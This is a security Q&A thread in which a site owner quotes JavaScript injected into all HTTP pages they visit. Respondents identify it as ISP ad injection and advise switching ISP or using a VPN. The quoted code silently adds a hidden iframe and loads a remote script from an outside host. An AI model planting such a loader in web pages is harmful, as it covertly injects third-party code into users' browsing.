2

Last month, I noticed that my site has an injected Javascript (by view-source). I asked my host about it and they say they've found a virus and have fixed it. However, the Javascript is still there - the support ticket is still open :(

Recently, I just discovered that all HTTP websites I visited has the same injected JS code. The JS code will only appear on HTTP, if the site has a HTTPS version no inserted code will appear.

Below is the inserted code. Is it a malware or some sort of security concern?

if (top == window) {
var layer8NameSpace = "layer8ns";
"undefined" == typeof window[layer8NameSpace] && (window[layer8NameSpace] = {}), window[layer8NameSpace].layer8Loader = function() {
    function e(e) {
        return "undefined" != typeof e && null !== e
    }

    function t() {
        var t = document.createElement("script");
        t.setAttribute("src", s), t.setAttribute("id", "fn_layer8_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
    }

    function n() {
        var t = r();
        if (e(t)) {
            var n = t;
            i() && (n = d(t));
            var o;
            try {
                o = document.documentElement, o.appendChild(n)
            } catch (c) {
                o = document.body, o.appendChild(n)
            }
            a()
        }
    }

    function a() {
        function e(e) {
            var n = e.data;
            "l8IframeIsReady" === n.message && t()
        }
        window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
    }

    function r() {
        var t = document.createElement("iframe");
        if (e(t)) {
            t.setAttribute("id", "fn_layer8"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
            var n = /firefox/i.exec(navigator.userAgent);
            e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
        }
        return t
    }

    function i() {
        var t = !1,
            n = /android (\d+)/i.exec(navigator.userAgent);
        return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
    }

    function d(e) {
        var t = document.createElement("div");
        return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
            return !0
        }, t.appendChild(e), t
    }

    function o() {
        var t = void 0,
            a = this,
            r = function() {
                e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
            };
        t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
    }
    var c = "http://globe.moreforme.net",
        u = c + "/l8/Layer8Servlet",
        s = c + "/scripts/Anchor.js";
    o()
};
var layer8Loader = new window[layer8NameSpace].layer8Loader }
  • 2
    Yes, it's a security concern that third-party JS is injected into all HTTP-served sites. This is an instance of this case. It's the same company and the goal of this seems to be ad injection. – Arminius May 23 '17 at 18:32
4

As @Arminius has pointed out, This is being injected by your ISP to generate revenue. So many similar cases are found as @user52472 explained.

But the solution to this issue is not a VPN (as it is just a workaround), I would suggest picking a better ISP and explaining your current ISP that this is a shady practice.

3

This is likely being injected into HTTP pages by your ISP. It does not appear to be malicious per se, but does appear to be advertising related Here's the link I found. I don't know that I would consider it more of a security concern than browsing to any other site using HTTP; while in this instance it's your ISP who is injecting content, a malicious attacker could do the same thing.

In order to prevent this from happening, your best bet would be to switch to an ISP who does not have such questionable behavior. If that's not possible, use a VPN.

  • 1
    Your best bet would be to switch to a more responsible ISP. – Philipp May 24 '17 at 22:40
  • Ha ha, yeah, I suppose I missed that option. Fixed it. – user52472 May 25 '17 at 16:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.